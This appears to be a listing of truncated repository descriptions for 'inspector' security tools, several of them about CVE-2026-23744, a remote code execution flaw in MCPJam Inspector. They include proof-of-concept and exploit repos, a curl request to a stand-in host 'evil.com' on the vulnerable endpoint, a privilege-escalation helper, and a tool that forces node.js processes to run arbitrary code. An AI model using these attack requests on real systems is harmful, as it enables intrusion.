elfpeek

elfpeek Minimal ELF inspector with interactive REPL for quick binary analysis Why? Not a replacement for readelf or objdump. Just a quick, focused tool for common RE questions: What's the binary layout? Which segment/section contains this address? What's the file offset for this VA? What bytes ar...

DevHub-HTB-Walkthrough

DevHub – HTB Walkthrough Medium Linux Machine: DevHub Difficulty: Medium OS: Linux Topics: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, Root Privilege Escalation 📌 1. Reconnaissance nmap -sC -sV devhub.htb Result: Port 22 SSH Port 80 HTTP Port 6274 MCPJam Inspector 📌 2. Edit Hosts File...

ApplicationInspector

Introducción Microsoft Application Inspector es una herramienta de caracterización de código fuente de software que ayuda a identificar características de codificación de componentes de software de terceros o propios basándose en llamadas a bibliotecas/API conocidas, y es útil en casos de uso de...

MCP-Inspector-CVE-2025-49596

MCP Inspector CVE-2025-49596 Vulnerability Checker This script checks if an MCP Inspector server is vulnerable to CVE-2025-49596, a security issue where the /sse endpoint responds to unauthenticated requests missing auth token. How It Works The script sends a GET request to the /sse endpoint of t...

aura-inspector

aura-inspector This is not an officially supported Google product. This project is not eligible for the Google Open Source Software Vulnerability Rewards Program. Introduction aura-inspector is a Swiss Army knife of Salesforce Experience Cloud testing. It facilitates in discovering misconfigured...

BucketLoot

BucketLoot Un Inspector Automatizado de Buckets Compatibles con S3 Descripción • Instalación • Características • Documentación • Agradecimientos Descripción BucketLoot es un inspector automatizado de buckets compatibles con S3 que ayuda a los usuarios a extraer activos, señalar exposiciones de...

CVE-2026-23744-PoC

Description MCPJam inspector is the local-first development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Sinc...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC about vulnerability in MCP Server. automated for the part of the post with the correct body. vulnerable path: /api/mcp/connect method via curl: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

gadgetinspector

Gadget Inspector Este proyecto inspecciona bibliotecas Java y classpaths en busca de cadenas de gadgets. Las cadenas de gadgets se utilizan para construir exploits para vulnerabilidades de deserialización. Al descubrir automáticamente posibles cadenas de gadgets en el classpath de una aplicación,...

Inspector

Ayudante de escalada de privilegios unix RESUMEN Inspector es un script de Python para ayudar en la escalada de privilegios en entornos Linux. Tras su inicio, este script busca la versión del kernel y verifica si existe un exploit, carga el historial de archivos bash, zsh, mysql... y carga la lis...

CVE-2026-23744

CVE-2026-23744 Description MCPJam inspector is a local-first development platform for MCP servers. The versions =1.4.2 are vulnerable to remote code execution vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Fo...

procinfo

procinfo A portable process inspector for Linux and macOS. Get details about any running process instantly! Also see procinfominimal.sh - pure sh implementation of procinfo. Installation curl -fsSL https://raw.githubusercontent.com/wenekar/procinfo/main/procinfo.sh -o procinfo chmod +x procinfo...

CVE-2026-23744

CVE-2026-23744 CVE-2026-23744 RCE While analyzing this vulnerability, I discovered that MCPJam Inspector exposed the /api/mcp/connect endpoint to the network by binding to 0.0.0.0. This endpoint accepts a JSON object containing serverConfig, including the fields command and args. The application...

shed

Shed - .NET runtime inspector Shed is an application that allow to inspect the .NET runtime of a program in order to extract useful information. It can be used to inspect malicious applications in order to have a first general overview of which information are stored once that the malware is...

CVE-2026-23744-MCPJam-Exploit

CVE-2026-23744 MCPJam Inspector RCE Exploit ⚠️ DISCLAIMER This tool is for authorized security testing and educational purposes ONLY. Unauthorized use is illegal. Users assume all responsibility for their actions. 📋 Overview This repository contains a proof-of-concept exploit for CVE-2026-23744 ,...

inspector

MCP Inspector A developer tool for inspecting Model Context Protocol MCP servers. It ships as a single package, @modelcontextprotocol/inspector, that provides three ways to inspect a server: Web — a Vite + React + Mantine single-page app with a Node backend. CLI — a scriptable command-line client...

jscythe

jscythe abusa del mecanismo de inspector de node.js para forzar a cualquier proceso basado en node.js/electron/v8 a ejecutar código javascript arbitrario, incluso si sus capacidades de depuración están deshabilitadas. Probado y funcionando contra Visual Studio Code, Discord, cualquier aplicación...

onioff

██████╗ ███╗ ██╗██╗ ██████╗ ███████╗███████╗ ██╔═══██╗████╗ ██║██║██╔═══██╗██╔════╝██╔════╝ ██║ ██║██╔██╗ ██║██║██║ ██║█████╗ █████╗ ██║ ██║██║╚██╗██║██║██║ ██║██╔══╝ ██╔══╝ ╚██████╔╝██║ ╚████║██║╚██████╔╝██║ ██║ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ v2.0 A simple tool - written in pure python - f...

protobuf-inspector

protobuf-inspector Programa simple que puede analizar blobs codificados en Google Protobuf versión 2 o 3 sin conocer su definición acompañante. Imprimirá una representación agradable y coloreada de su contenido. Ejemplo: Como puede ver, los nombres de los campos se pierden obviamente, junto con...

mcpjam-cve-2026-23744-validator

MCPJam Inspector Authorized Security Validator A bounded proof-of-concept validator for CVE-2026-23744 affecting vulnerable MCPJam Inspector deployments. This project is an independent, non-destructive validation tool for the previously disclosed CVE-2026-23744. It is not the original vulnerabili...